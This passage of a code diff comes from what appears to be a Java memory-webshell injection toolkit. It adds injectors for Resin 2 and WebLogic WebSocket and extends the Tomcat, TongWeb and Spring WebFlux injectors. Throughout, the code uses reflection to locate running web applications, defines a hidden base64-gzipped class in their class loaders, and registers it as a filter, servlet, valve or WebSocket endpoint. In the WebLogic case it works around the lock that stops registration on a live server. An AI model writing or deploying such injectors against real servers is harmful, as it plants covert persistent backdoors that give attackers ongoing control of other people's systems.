clazz = clazz.getSuperclass();
}
}
if (method == null) {
throw new NoSuchMethodException("Method not found: " + methodName);
}
method.setAccessible(true);
return method.invoke(obj instanceof Class ? null : obj, param);
} catch (NoSuchMethodException e) {
throw e;
} catch (Exception e) {
throw new RuntimeException("Error invoking method: " + methodName, e);
}
}
@SuppressWarnings("all")
private String getErrorMessage(Throwable throwable) {
PrintStream printStream = null;
try {
ByteArrayOutputStream outputStream = new ByteArrayOutputStream();
printStream = new PrintStream(outputStream);
throwable.printStackTrace(printStream);
return outputStream.toString();
} finally {
if (printStream != null) {
printStream.close();
}
}
}
}
@@ -0,0 +1,270 @@
package com.reajason.javaweb.memshell.injector.resin2;
import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.IOException;
import java.io.PrintStream;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.lang.reflect.Method;
import java.util.HashSet;
import java.util.List;
import java.util.Map;
import java.util.Set;
import java.util.zip.GZIPInputStream;
/**
* @author ReaJason
* @since 2026/7/4
*/
public class Resin2FilterInjector {
private static String msg = "";
private static boolean ok = false;
public String getUrlPattern() {
return "{{urlPattern}}";
}
public String getClassName() {
return "{{className}}";
}
public String getBase64String() throws IOException {
return "{{base64Str}}";
}
public Resin2FilterInjector() {
if (ok) {
return;
}
Set<Object> contexts = null;
try {
contexts = getContext();
} catch (Throwable throwable) {
msg += "context error: " + getErrorMessage(throwable);
}
if (contexts == null || contexts.isEmpty()) {
msg += "context not found";
} else {
for (Object context : contexts) {
try {
msg += ("context: [" + getContextRoot(context) + "] ");
Object shell = getShell(context);
inject(context, shell);
msg += "[" + getUrlPattern() + "] ready\n";
} catch (Throwable e) {
msg += "failed " + getErrorMessage(e) + "\n";
}
}
}
ok = true;
System.out.println(msg);
}
@SuppressWarnings("all")
private String getContextRoot(Object context) {
String r = null;
try {
r = (String) invokeMethod(context, "getContextPath", null, null);
} catch (Exception ignored) {
}
String c = context.getClass().getName();
if (r == null) {
return c;
}
if (r.isEmpty()) {
return c + "(/)";
}
return c + "(" + r + ")";
}
public Set<Object> getContext() throws Exception {
Set<Object> contexts = new HashSet<Object>();
addContextFromClassLoader(contexts, Thread.currentThread().getContextClassLoader());
Set<Thread> threads = Thread.getAllStackTraces().keySet();
for (Thread thread : threads) {
try {
addContextFromClassLoader(contexts, thread.getContextClassLoader());
} catch (Throwable ignored) {
}
}
return contexts;
}
private void addContextFromClassLoader(Set<Object> contexts, ClassLoader classLoader) {
Object context = getApplicationFromClassLoader(classLoader);
if (context != null) {
contexts.add(context);
}
}
private Object getApplicationFromClassLoader(ClassLoader classLoader) {
while (classLoader != null) {
try {
Object context = invokeMethod(classLoader, "getAttribute", new Class[]{String.class}, new Object[]{"caucho.application"});
if (context != null && "com.caucho.server.http.Application".equals(context.getClass().getName())) {
return context;
}
} catch (Throwable ignored) {
}
classLoader = classLoader.getParent();
}
return null;
}
public ClassLoader getWebAppClassLoader(Object context) throws Exception {
try {
return ((ClassLoader) invokeMethod(context, "getClassLoader", null, null));
} catch (Exception e) {
return ((ClassLoader) getFieldValue(context, "_classLoader"));
}
}
@SuppressWarnings("all")
private Object getShell(Object context) throws Exception {
ClassLoader classLoader = getWebAppClassLoader(context);
Class<?> clazz = null;
try {
clazz = classLoader.loadClass(getClassName());
} catch (Exception e) {
byte[] clazzByte = gzipDecompress(decodeBase64(getBase64String()));
Method defineClass = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, int.class, int.class);
defineClass.setAccessible(true);
clazz = (Class<?>) defineClass.invoke(classLoader, clazzByte, 0, clazzByte.length);
}
msg += "[" + classLoader.getClass().getName() + "] ";
return clazz.newInstance();
}
private void inject(Object context, Object filter) throws Exception {
Map<String, Object> filters = (Map) getFieldValue(context, "_filters");
for (String key : filters.keySet()) {
if (key.contains(getClassName())) {
return;
}
}
ClassLoader loader = context.getClass().getClassLoader();
Class<?> applicationClass = loader.loadClass("com.caucho.server.http.Application");
Class<?> qFilterConfigClass = loader.loadClass("com.caucho.server.http.QFilterConfig");
Class<?> registryNodeClass = loader.loadClass("com.caucho.util.RegistryNode");
Object filterConfig = newInstance(
qFilterConfigClass,
new Class[]{applicationClass, String.class, String.class, registryNodeClass},
new Object[]{context, getClassName(), getClassName(), null});
filters.put(getClassName(), filterConfig);
List filterList = (List) getFieldValue(context, "_filterList");
if (filterList != null && !filterList.contains(filterConfig)) {
filterList.add(filterConfig);
}
Class<?> filterMapClass = loader.loadClass("com.caucho.server.http.FilterMap");
Object filterMap = newInstance(filterMapClass, new Class[0], new Object[0]);
invokeMethod(filterMap, "setURLPattern", new Class[]{String.class, String.class}, new Object[]{getUrlPattern(), ""});
invokeMethod(filterMap, "setData", new Class[]{Object.class}, new Object[]{filterConfig});
List filterMaps = (List) getFieldValue(context, "_filterMap");
synchronized (filterMaps) {
filterMaps.add(0, filterMap);
}
invokeMethod(context, "clearCache", null, null);
}
private static Object newInstance(Class<?> clazz, Class<?>[] paramClazz, Object[] param) throws Exception {
Constructor<?> constructor = clazz.getDeclaredConstructor(paramClazz);
constructor.setAccessible(true);
return constructor.newInstance(param);
}
@Override
public String toString() {
return msg;
}
@SuppressWarnings("all")
public static byte[] decodeBase64(String base64Str) throws Exception {
Class<?> decoderClass;
try {
decoderClass = Class.forName("java.util.Base64");
Object decoder = decoderClass.getMethod("getDecoder").invoke(null);
return (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, base64Str);
} catch (Exception ignored) {
decoderClass = Class.forName("sun.misc.BASE64Decoder");
return (byte[]) decoderClass.getMethod("decodeBuffer", String.class).invoke(decoderClass.newInstance(), base64Str);
}
}
@SuppressWarnings("all")
public static byte[] gzipDecompress(byte[] compressedData) throws IOException {
ByteArrayOutputStream out = new ByteArrayOutputStream();
GZIPInputStream gzipInputStream = null;
try {
gzipInputStream = new GZIPInputStream(new ByteArrayInputStream(compressedData));
byte[] buffer = new byte[4096];
int n;
while ((n = gzipInputStream.read(buffer)) > 0) {
out.write(buffer, 0, n);
}
return out.toByteArray();
} finally {
if (gzipInputStream != null) {
gzipInputStream.close();
}
out.close();
}
}
@SuppressWarnings("all")
public static Object getFieldValue(Object obj, String name) throws Exception {
Class<?> clazz = obj.getClass();
while (clazz != Object.class) {
try {
Field field = clazz.getDeclaredField(name);
field.setAccessible(true);
return field.get(obj);
} catch (NoSuchFieldException var5) {
clazz = clazz.getSuperclass();
}
}
throw new NoSuchFieldException(obj.getClass().getName() + " Field not found: " + name);
}
@SuppressWarnings("all")
public static Object invokeMethod(Object obj, String methodName, Class<?>[] paramClazz, Object[] param) throws Exception {
Class<?> clazz = (obj instanceof Class) ? (Class<?>) obj : obj.getClass();
Method method = null;
while (clazz != null && method == null) {
try {
if (paramClazz == null) {
method = clazz.getDeclaredMethod(methodName);
} else {
method = clazz.getDeclaredMethod(methodName, paramClazz);
}
} catch (NoSuchMethodException e) {
clazz = clazz.getSuperclass();
}
}
if (method == null) {
throw new NoSuchMethodException("Method not found: " + methodName);
}
method.setAccessible(true);
return method.invoke(obj instanceof Class ? null : obj, param);
}
@SuppressWarnings("all")
private String getErrorMessage(Throwable throwable) {
PrintStream printStream = null;
try {
ByteArrayOutputStream outputStream = new ByteArrayOutputStream();
printStream = new PrintStream(outputStream);
throwable.printStackTrace(printStream);
return outputStream.toString();
} finally {
if (printStream != null) {
printStream.close();
}
}
}
}
@@ -0,0 +1,248 @@
package com.reajason.javaweb.memshell.injector.resin2;
import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.IOException;
import java.io.PrintStream;
import java.lang.reflect.Field;
import java.lang.reflect.Method;
import java.util.HashSet;
import java.util.Map;
import java.util.Set;
import java.util.zip.GZIPInputStream;
/**
* @author ReaJason
* @since 2026/7/4
*/
public class Resin2ServletInjector {
private static String msg = "";
private static boolean ok = false;
public String getUrlPattern() {
return "{{urlPattern}}";
}
public String getClassName() {
return "{{className}}";
}
public String getBase64String() throws IOException {
return "{{base64Str}}";
}
public Resin2ServletInjector() {
if (ok) {
return;
}
Set<Object> contexts = null;
try {
contexts = getContext();
} catch (Throwable throwable) {
msg += "context error: " + getErrorMessage(throwable);
}
if (contexts == null || contexts.isEmpty()) {
msg += "context not found";
} else {
for (Object context : contexts) {
try {
msg += ("context: [" + getContextRoot(context) + "] ");
Object shell = getShell(context);
inject(context, shell);
msg += "[" + getUrlPattern() + "] ready\n";
} catch (Throwable e) {
msg += "failed " + getErrorMessage(e) + "\n";
}
}
}
ok = true;
System.out.println(msg);
}
@SuppressWarnings("all")
private String getContextRoot(Object context) {
String r = null;
try {
r = (String) invokeMethod(context, "getContextPath", null, null);
} catch (Exception ignored) {
}
String c = context.getClass().getName();
if (r == null) {
return c;
}
if (r.isEmpty()) {
return c + "(/)";
}
return c + "(" + r + ")";
}
public Set<Object> getContext() throws Exception {
Set<Object> contexts = new HashSet<Object>();
addContextFromClassLoader(contexts, Thread.currentThread().getContextClassLoader());
Set<Thread> threads = Thread.getAllStackTraces().keySet();
for (Thread thread : threads) {
try {
addContextFromClassLoader(contexts, thread.getContextClassLoader());
} catch (Throwable ignored) {
}
}
return contexts;
}
private void addContextFromClassLoader(Set<Object> contexts, ClassLoader classLoader) {
Object context = getApplicationFromClassLoader(classLoader);
if (context != null) {
contexts.add(context);
}
}
private Object getApplicationFromClassLoader(ClassLoader classLoader) {
while (classLoader != null) {
try {
Object context = invokeMethod(classLoader, "getAttribute", new Class[]{String.class}, new Object[]{"caucho.application"});
if (context != null && "com.caucho.server.http.Application".equals(context.getClass().getName())) {
return context;
}
} catch (Throwable ignored) {
}
classLoader = classLoader.getParent();
}
return null;
}
public ClassLoader getWebAppClassLoader(Object context) throws Exception {
try {
return ((ClassLoader) invokeMethod(context, "getClassLoader", null, null));
} catch (Exception e) {
return ((ClassLoader) getFieldValue(context, "_classLoader"));
}
}
@SuppressWarnings("all")
private Object getShell(Object context) throws Exception {
ClassLoader classLoader = getWebAppClassLoader(context);
Class<?> clazz = null;
try {
clazz = classLoader.loadClass(getClassName());
} catch (Exception e) {
byte[] clazzByte = gzipDecompress(decodeBase64(getBase64String()));
Method defineClass = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, int.class, int.class);
defineClass.setAccessible(true);
clazz = (Class<?>) defineClass.invoke(classLoader, clazzByte, 0, clazzByte.length);
}
msg += "[" + classLoader.getClass().getName() + "] ";
return clazz.newInstance();
}
private void inject(Object context, Object servlet) throws Exception {
Map<String, Object> servlets = (Map) getFieldValue(context, "_servlets");
for (String key : servlets.keySet()) {
if (key.contains(getClassName())) {
return;
}
}
Object servletConfig = invokeMethod(
context,
"addServlet",
new Class[]{String.class, String.class},
new Object[]{getClassName(), getClassName()});
Class<?> servletConfigClass = context.getClass().getClassLoader().loadClass("com.caucho.server.http.QServletConfig");
invokeMethod(
context,
"addDispatchMap",
new Class[]{String.class, servletConfigClass},
new Object[]{getUrlPattern(), servletConfig});
invokeMethod(context, "clearCache", null, null);
}
@Override
public String toString() {
return msg;
}
@SuppressWarnings("all")
public static byte[] decodeBase64(String base64Str) throws Exception {
Class<?> decoderClass;
try {
decoderClass = Class.forName("java.util.Base64");
Object decoder = decoderClass.getMethod("getDecoder").invoke(null);
return (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, base64Str);
} catch (Exception ignored) {
decoderClass = Class.forName("sun.misc.BASE64Decoder");
return (byte[]) decoderClass.getMethod("decodeBuffer", String.class).invoke(decoderClass.newInstance(), base64Str);
}
}
@SuppressWarnings("all")
public static byte[] gzipDecompress(byte[] compressedData) throws IOException {
ByteArrayOutputStream out = new ByteArrayOutputStream();
GZIPInputStream gzipInputStream = null;
try {
gzipInputStream = new GZIPInputStream(new ByteArrayInputStream(compressedData));
byte[] buffer = new byte[4096];
int n;
while ((n = gzipInputStream.read(buffer)) > 0) {
out.write(buffer, 0, n);
}
return out.toByteArray();
} finally {
if (gzipInputStream != null) {
gzipInputStream.close();
}
out.close();
}
}
@SuppressWarnings("all")
public static Object getFieldValue(Object obj, String name) throws Exception {
Class<?> clazz = obj.getClass();
while (clazz != Object.class) {
try {
Field field = clazz.getDeclaredField(name);
field.setAccessible(true);
return field.get(obj);
} catch (NoSuchFieldException var5) {
clazz = clazz.getSuperclass();
}
}
throw new NoSuchFieldException(obj.getClass().getName() + " Field not found: " + name);
}
@SuppressWarnings("all")
public static Object invokeMethod(Object obj, String methodName, Class<?>[] paramClazz, Object[] param) throws Exception {
Class<?> clazz = (obj instanceof Class) ? (Class<?>) obj : obj.getClass();
Method method = null;
while (clazz != null && method == null) {
try {
if (paramClazz == null) {
method = clazz.getDeclaredMethod(methodName);
} else {
method = clazz.getDeclaredMethod(methodName, paramClazz);
}
} catch (NoSuchMethodException e) {
clazz = clazz.getSuperclass();
}
}
if (method == null) {
throw new NoSuchMethodException("Method not found: " + methodName);
}
method.setAccessible(true);
return method.invoke(obj instanceof Class ? null : obj, param);
}
@SuppressWarnings("all")
private String getErrorMessage(Throwable throwable) {
PrintStream printStream = null;
try {
ByteArrayOutputStream outputStream = new ByteArrayOutputStream();
printStream = new PrintStream(outputStream);
throwable.printStackTrace(printStream);
return outputStream.toString();
} finally {
if (printStream != null) {
printStream.close();
}
}
}
}
@@ -1,6 +1,5 @@
package com.reajason.javaweb.memshell.injector.springwebflux;
import org.springframework.util.Base64Utils;
import org.springframework.web.reactive.function.server.*;
import org.springframework.web.reactive.function.server.support.RouterFunctionMapping;
@@ -63,7 +62,7 @@ public class SpringWebFluxHandlerFunctionInjector {
try {
interceptor = classLoader.loadClass(getClassName()).newInstance();
} catch (Exception e) {
byte[] clazzByte = gzipDecompress(Base64Utils.decodeFromString(getBase64String()));
byte[] clazzByte = gzipDecompress(java.util.Base64.getDecoder().decode(getBase64String()));
Method defineClass = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, int.class, int.class);
defineClass.setAccessible(true);
Class<?> clazz = (Class<?>) defineClass.invoke(classLoader, clazzByte, 0, clazzByte.length);
@@ -1,6 +1,5 @@
package com.reajason.javaweb.memshell.injector.springwebflux;
import org.springframework.util.Base64Utils;
import org.springframework.web.method.HandlerMethod;
import org.springframework.web.reactive.result.method.RequestMappingInfo;
import org.springframework.web.reactive.result.method.annotation.RequestMappingHandlerMapping;
@@ -63,7 +62,7 @@ public class SpringWebFluxHandlerMethodInjector {
try {
interceptor = classLoader.loadClass(getClassName()).newInstance();
} catch (Exception e) {
byte[] clazzByte = gzipDecompress(Base64Utils.decodeFromString(getBase64String()));
byte[] clazzByte = gzipDecompress(java.util.Base64.getDecoder().decode(getBase64String()));
Method defineClass = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, int.class, int.class);
defineClass.setAccessible(true);
Class<?> clazz = (Class<?>) defineClass.invoke(classLoader, clazzByte, 0, clazzByte.length);
@@ -1,6 +1,5 @@
package com.reajason.javaweb.memshell.injector.springwebflux;
import org.springframework.util.Base64Utils;
import org.springframework.web.server.WebFilter;
import org.springframework.web.server.handler.DefaultWebFilterChain;
import org.springframework.web.server.handler.FilteringWebHandler;
@@ -58,7 +57,7 @@ public class SpringWebFluxWebFilterInjector {
try {
return classLoader.loadClass(getClassName()).newInstance();
} catch (Exception e) {
byte[] clazzByte = gzipDecompress(Base64Utils.decodeFromString(getBase64String()));
byte[] clazzByte = gzipDecompress(java.util.Base64.getDecoder().decode(getBase64String()));
Method defineClass = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, int.class, int.class);
defineClass.setAccessible(true);
Class<?> clazz = (Class<?>) defineClass.invoke(classLoader, clazzByte, 0, clazzByte.length);
@@ -76,9 +76,13 @@ public class TomcatContextValveAgentInjector extends ClassLoader implements Clas
public MethodVisitor visitMethod(int access, String name, String descriptor,
String signature, String[] exceptions) {
MethodVisitor mv = super.visitMethod(access, name, descriptor, signature, exceptions);
if (TARGET_METHOD_NAME.equals(name) && descriptor.endsWith(")V")) {
// Tomcat uses void invoke; GlassFish/Payara uses int invoke (GlassFishValve)
if (TARGET_METHOD_NAME.equals(name)
&& (descriptor.endsWith(")V") || descriptor.endsWith(")I"))) {
Type[] argumentTypes = Type.getArgumentTypes(descriptor);
return new TomcatContextValveAgentInjector.AgentShellMethodVisitor(mv, argumentTypes, getClassName());
boolean returnsInt = descriptor.endsWith(")I");
return new TomcatContextValveAgentInjector.AgentShellMethodVisitor(
mv, argumentTypes, getClassName(), returnsInt);
}
return mv;
}
@@ -88,11 +92,13 @@ public class TomcatContextValveAgentInjector extends ClassLoader implements Clas
public static class AgentShellMethodVisitor extends MethodVisitor {
private final Type[] argumentTypes;
private final String className;
private final boolean returnsInt;
public AgentShellMethodVisitor(MethodVisitor mv, Type[] argTypes, String className) {
public AgentShellMethodVisitor(MethodVisitor mv, Type[] argTypes, String className, boolean returnsInt) {
super(Opcodes.ASM9, mv);
this.argumentTypes = argTypes;
this.className = className;
this.returnsInt = returnsInt;
}
@Override
@@ -117,7 +123,13 @@ public class TomcatContextValveAgentInjector extends ClassLoader implements Clas
"(Ljava/lang/Object;)Z",
false);
mv.visitJumpInsn(Opcodes.IFEQ, ifConditionFalse);
mv.visitInsn(Opcodes.RETURN);
// GlassFishValve.END_PIPELINE == 2
if (returnsInt) {
mv.visitInsn(Opcodes.ICONST_2);
mv.visitInsn(Opcodes.IRETURN);
} else {
mv.visitInsn(Opcodes.RETURN);
}
mv.visitLabel(ifConditionFalse);
mv.visitLabel(tryEnd);
mv.visitJumpInsn(Opcodes.GOTO, skipCatchBlock);
@@ -199,17 +211,22 @@ public class TomcatContextValveAgentInjector extends ClassLoader implements Clas
@SuppressWarnings("all")
public void defineTargetClass(ClassLoader loader) {
// Always define into the target class's loader. loadClass() may resolve the shell from the
// agent AppClassLoader, which OSGi bundle loaders cannot use for NEW/invoke.
try {
loader.loadClass(getClassName());
return;
} catch (ClassNotFoundException ignored) {
java.lang.reflect.Method findLoadedClass = ClassLoader.class.getDeclaredMethod("findLoadedClass", String.class);
findLoadedClass.setAccessible(true);
if (findLoadedClass.invoke(loader, getClassName()) != null) {
return;
}
} catch (Throwable ignored) {
}
try {
byte[] classBytecode = gzipDecompress(decodeBase64(getBase64String()));
java.lang.reflect.Method defineClass = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, int.class, int.class);
defineClass.setAccessible(true);
defineClass.invoke(loader, classBytecode, 0, classBytecode.length);
} catch (Exception ignored) {
} catch (Throwable ignored) {
}
}
}
@@ -199,17 +199,22 @@ public class TomcatFilterChainAgentInjector implements ClassFileTransformer {
@SuppressWarnings("all")
public void defineTargetClass(ClassLoader loader) {
// Always define into the target class's loader. loadClass() may resolve the shell from the
// agent AppClassLoader, which OSGi bundle loaders cannot use for NEW/invoke.
try {
loader.loadClass(getClassName());
return;
} catch (ClassNotFoundException ignored) {
java.lang.reflect.Method findLoadedClass = ClassLoader.class.getDeclaredMethod("findLoadedClass", String.class);
findLoadedClass.setAccessible(true);
if (findLoadedClass.invoke(loader, getClassName()) != null) {
return;
}
} catch (Throwable ignored) {
}
try {
byte[] classBytecode = gzipDecompress(decodeBase64(getBase64String()));
java.lang.reflect.Method defineClass = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, int.class, int.class);
defineClass.setAccessible(true);
defineClass.invoke(loader, classBytecode, 0, classBytecode.length);
} catch (Exception ignored) {
} catch (Throwable ignored) {
}
}
}
@@ -59,14 +59,31 @@ public class TomcatListenerInjector {
for (Thread thread : threads) {
String threadName = thread.getName();
if (threadName.contains("ContainerBackgroundProcessor")) {
Map<?, ?> childrenMap = (Map<?, ?>) getFieldValue(getFieldValue(getFieldValue(thread, "target"), "this$0"), "children");
Object target = getThreadTarget(thread);
if (target == null) {
continue;
}
Object container = getContainerFromProcessor(target);
if (container == null) {
continue;
}
Map<?, ?> childrenMap = (Map<?, ?>) getFieldValue(container, "children");
if (childrenMap == null) {
continue;
}
for (Object value : childrenMap.values()) {
Map<?, ?> children = (Map<?, ?>) getFieldValue(value, "children");
contexts.addAll(children.values());
if (children != null) {
contexts.addAll(children.values());
}
}
} else if (threadName.contains("Poller") && !threadName.contains("ajp")) {
try {
Object proto = getFieldValue(getFieldValue(getFieldValue(getFieldValue(thread, "target"), "this$0"), "handler"), "proto");
Object target = getThreadTarget(thread);
if (target == null) {
continue;
}
Object proto = getFieldValue(getFieldValue(getFieldValue(target, "this$0"), "handler"), "proto");
Object engine = getFieldValue(getFieldValue(getFieldValue(getFieldValue(proto, "adapter"), "connector"), "service"), "engine");
Map<?, ?> childrenMap = (Map<?, ?>) getFieldValue(engine, "children");
for (Object value : childrenMap.values()) {
@@ -90,6 +107,35 @@ public class TomcatListenerInjector {
return contexts;
}
private Object getThreadTarget(Thread thread) throws Exception {
Object target = getFieldValue(thread, "target");
if (target == null) {
// JDK 21+
Object holder = getFieldValue(thread, "holder");
if (holder != null) {
target = getFieldValue(holder, "task");
}
}
return target;
}
/**
* Older Catalina: ContainerBackgroundProcessor.this$0
* Payara 6.2024+/7 style: ContainerBackgroundProcessorAtomic.base (WeakReference)
*/
private Object getContainerFromProcessor(Object target) throws Exception {
Object container = getFieldValue(target, "this$0");
if (container != null) {
return container;
}
Object atomic = getFieldValue(target, "containerBackgroundProcessorAtomic");
Object base = atomic != null ? getFieldValue(atomic, "base") : getFieldValue(target, "base");
if (base instanceof java.lang.ref.Reference) {
return ((java.lang.ref.Reference<?>) base).get();
}
return base;
}
@SuppressWarnings("all")
private String getContextRoot(Object context) {
String r = null;
@@ -17,7 +17,8 @@ public class TongWebContextValveAgentInjector implements ClassFileTransformer {
private static final String[] TARGET_CLASSES = new String[]{
"com/tongweb/web/thor/core/StandardContextValve",
"com/tongweb/catalina/core/StandardContextValve",
"com/tongweb/server/core/StandardContextValve"
"com/tongweb/server/core/StandardContextValve",
"com/tongweb/container/core/StandardContextValve"
};
private static final String TARGET_METHOD_NAME = "invoke";
@@ -17,7 +17,8 @@ public class TongWebFilterChainAgentInjector implements ClassFileTransformer {
private static final String[] TARGET_CLASSES = new String[]{
"com/tongweb/web/thor/core/ApplicationFilterChain",
"com/tongweb/catalina/core/ApplicationFilterChain",
"com/tongweb/server/core/ApplicationFilterChain"
"com/tongweb/server/core/ApplicationFilterChain",
"com/tongweb/container/core/ApplicationFilterChain"
};
private static final String TARGET_METHOD_NAME = "doFilter";
@@ -167,11 +167,19 @@ public class TongWebFilterInjector {
filterMapClass = contextClassLoader.loadClass("com.tongweb.web.thor.deploy.FilterMap");
filterMap = filterMapClass.newInstance();
} catch (Exception e) {
// tongweb 8
constructor = contextClassLoader.loadClass("com.tongweb.server.core.ApplicationFilterConfig").getDeclaredConstructors()[0];
filterDef = contextClassLoader.loadClass("com.tongweb.web.util.descriptor.web.FilterDef").newInstance();
filterMapClass = contextClassLoader.loadClass("com.tongweb.web.util.descriptor.web.FilterMap");
filterMap = filterMapClass.newInstance();
try {
// tongweb 8
constructor = contextClassLoader.loadClass("com.tongweb.server.core.ApplicationFilterConfig").getDeclaredConstructors()[0];
filterDef = contextClassLoader.loadClass("com.tongweb.web.util.descriptor.web.FilterDef").newInstance();
filterMapClass = contextClassLoader.loadClass("com.tongweb.web.util.descriptor.web.FilterMap");
filterMap = filterMapClass.newInstance();
} catch (Exception e1) {
// tongweb embedded (spring boot)
constructor = contextClassLoader.loadClass("com.tongweb.container.core.ApplicationFilterConfig").getDeclaredConstructors()[0];
filterDef = contextClassLoader.loadClass("com.tongweb.web.util.descriptor.web.FilterDef").newInstance();
filterMapClass = contextClassLoader.loadClass("com.tongweb.web.util.descriptor.web.FilterMap");
filterMap = filterMapClass.newInstance();
}
}
}
invokeMethod(filterDef, "setFilterName", new Class[]{String.class}, new Object[]{filterClassName});
@@ -141,8 +141,13 @@ public class TongWebValveInjector {
// tongweb6
valveClass = contextClassLoader.loadClass("com.tongweb.web.thor.Valve");
} catch (ClassNotFoundException e1) {
// tongweb8
valveClass = contextClassLoader.loadClass("com.tongweb.server.Valve");
try {
// tongweb8
valveClass = contextClassLoader.loadClass("com.tongweb.server.Valve");
} catch (ClassNotFoundException e2) {
// tongweb embedded (spring boot)
valveClass = contextClassLoader.loadClass("com.tongweb.container.Valve");
}
}
}
invokeMethod(pipeline, "addValve", new Class[]{valveClass}, new Object[]{valve});
@@ -0,0 +1,307 @@
package com.reajason.javaweb.memshell.injector.weblogic;
import javax.management.MBeanServer;
import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.IOException;
import java.io.PrintStream;
import java.lang.management.ManagementFactory;
import java.lang.reflect.Field;
import java.lang.reflect.Method;
import java.util.HashSet;
import java.util.List;
import java.util.Map;
import java.util.Set;
import java.util.zip.GZIPInputStream;
/**
* @author ReaJason
*/
public class WebLogicWebSocketInjector {
private static String msg = "";
private static boolean ok = false;
public String getUrlPattern() {
return "{{urlPattern}}";
}
public String getClassName() {
return "{{className}}";
}
public String getBase64String() {
return "{{base64Str}}";
}
public WebLogicWebSocketInjector() {
if (ok) {
return;
}
Set<Object> contexts = null;
try {
contexts = getContext();
} catch (Throwable throwable) {
msg += "context error: " + getErrorMessage(throwable);
}
if (contexts == null || contexts.isEmpty()) {
msg += "context not found";
} else {
for (Object context : contexts) {
try {
Object container = getServerContainer(context);
if (container == null) {
continue;
}
msg += ("context: [" + getContextRoot(context) + "] ");
Object shell = getShell(context);
inject(context, container, shell);
msg += "[" + getUrlPattern() + "] ready\n";
} catch (Throwable e) {
msg += "failed " + getErrorMessage(e) + "\n";
}
}
}
ok = true;
System.out.println(msg);
}
@SuppressWarnings("all")
private String getContextRoot(Object context) {
String r = null;
try {
r = (String) invokeMethod(context, "getContextPath", null, null);
} catch (Exception ignored) {
}
String c = context.getClass().getName();
if (r == null) {
return c;
}
if (r.isEmpty()) {
return c + "(/)";
}
return c + "(" + r + ")";
}
/**
* weblogic.servlet.internal.WebAppServletContext
*/
@SuppressWarnings("unchecked")
public static Set<Object> getContext() throws Exception {
Set<Object> webappContexts = new HashSet<Object>();
MBeanServer platformMBeanServer = ManagementFactory.getPlatformMBeanServer();
Map<String, Object> objectsByObjectName = (Map<String, Object>) getFieldValue(platformMBeanServer, "objectsByObjectName");
for (Map.Entry<String, Object> entry : objectsByObjectName.entrySet()) {
String key = entry.getKey();
if (key.contains("Type=WebAppComponentRuntime")) {
Object value = entry.getValue();
Object managedResource = getFieldValue(value, "managedResource");
if (managedResource != null && managedResource.getClass().getSimpleName().equals("WebAppRuntimeMBeanImpl")) {
webappContexts.add(getFieldValue(managedResource, "context"));
}
}
}
try {
Object workEntry = getFieldValue(Thread.currentThread(), "workEntry");
Object request = null;
try {
Object connectionHandler = getFieldValue(workEntry, "connectionHandler");
request = getFieldValue(connectionHandler, "request");
} catch (Exception x) {
// WebLogic 10.3.6
request = workEntry;
}
if (request != null) {
webappContexts.add(getFieldValue(request, "context"));
}
} catch (Throwable ignored) {
}
return webappContexts;
}
public ClassLoader getWebAppClassLoader(Object context) throws Exception {
try {
return ((ClassLoader) invokeMethod(context, "getClassLoader", null, null));
} catch (Exception e) {
return ((ClassLoader) getFieldValue(context, "classLoader"));
}
}
@SuppressWarnings("all")
private Object getShell(Object context) throws Exception {
ClassLoader classLoader = getWebAppClassLoader(context);
Class<?> clazz = null;
try {
clazz = classLoader.loadClass(getClassName());
} catch (Exception e) {
byte[] clazzByte = gzipDecompress(decodeBase64(getBase64String()));
Method defineClass = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, int.class, int.class);
defineClass.setAccessible(true);
clazz = (Class<?>) defineClass.invoke(classLoader, clazzByte, 0, clazzByte.length);
}
msg += "[" + classLoader.getClass().getName() + "] ";
return clazz.newInstance();
}
@SuppressWarnings("all")
private Object getServerContainer(Object context) throws Exception {
// WebLogic's WebAppServletContext implements javax.servlet.ServletContext directly
Object container = invokeMethod(context, "getAttribute", new Class[]{String.class}, new Object[]{"javax.websocket.server.ServerContainer"});
if (container == null) {
container = invokeMethod(context, "getAttribute", new Class[]{String.class}, new Object[]{"jakarta.websocket.server.ServerContainer"});
}
return container;
}
@SuppressWarnings("all")
private void inject(Object context, Object container, Object obj) throws Exception {
ClassLoader contextClassLoader = context.getClass().getClassLoader();
Class<?> serverEndpointConfigClass;
Class<?> builderClass;
try {
serverEndpointConfigClass = contextClassLoader.loadClass("javax.websocket.server.ServerEndpointConfig");
builderClass = contextClassLoader.loadClass("javax.websocket.server.ServerEndpointConfig$Builder");
} catch (ClassNotFoundException e) {
serverEndpointConfigClass = contextClassLoader.loadClass("jakarta.websocket.server.ServerEndpointConfig");
builderClass = contextClassLoader.loadClass("jakarta.websocket.server.ServerEndpointConfig$Builder");
}
// Use the standard static factory method — Tyrus (WebLogic) only exposes create(), not a (Class,String) constructor
Object builder = invokeMethod(builderClass, "create", new Class[]{Class.class, String.class}, new Object[]{obj.getClass(), getUrlPattern()});
Object endpointConfig = invokeMethod(builder, "build", null, null);
// JSR-356 addEndpoint() throws IllegalStateException once the app is active; Tyrus's own
// register() bypasses this post-deployment lock and works on a live WebLogic server.
invokeMethod(container, "setDefaultMaxTextMessageBufferSize", new Class[]{int.class}, new Object[]{52428800});
invokeMethod(container, "setDefaultMaxBinaryMessageBufferSize", new Class[]{int.class}, new Object[]{52428800});
try {
invokeMethod(container, "register", new Class[]{serverEndpointConfigClass}, new Object[]{endpointConfig});
} catch (Exception e) {
invokeMethod(container, "addEndpoint", new Class[]{serverEndpointConfigClass}, new Object[]{endpointConfig});
}
try {
prioritizeWebSocketFilter(context);
} catch (Exception ignored) {
// Newer WebLogic versions may use different filter internals and already order Tyrus first.
}
}
/**
* WebLogic 12 and 14 append Tyrus's filter after application filters. If one of those filters
* does not support async processing, Tyrus cannot call startAsync() during the WebSocket
* handshake. Move only the WebSocket mapping ahead of normal application mappings so the
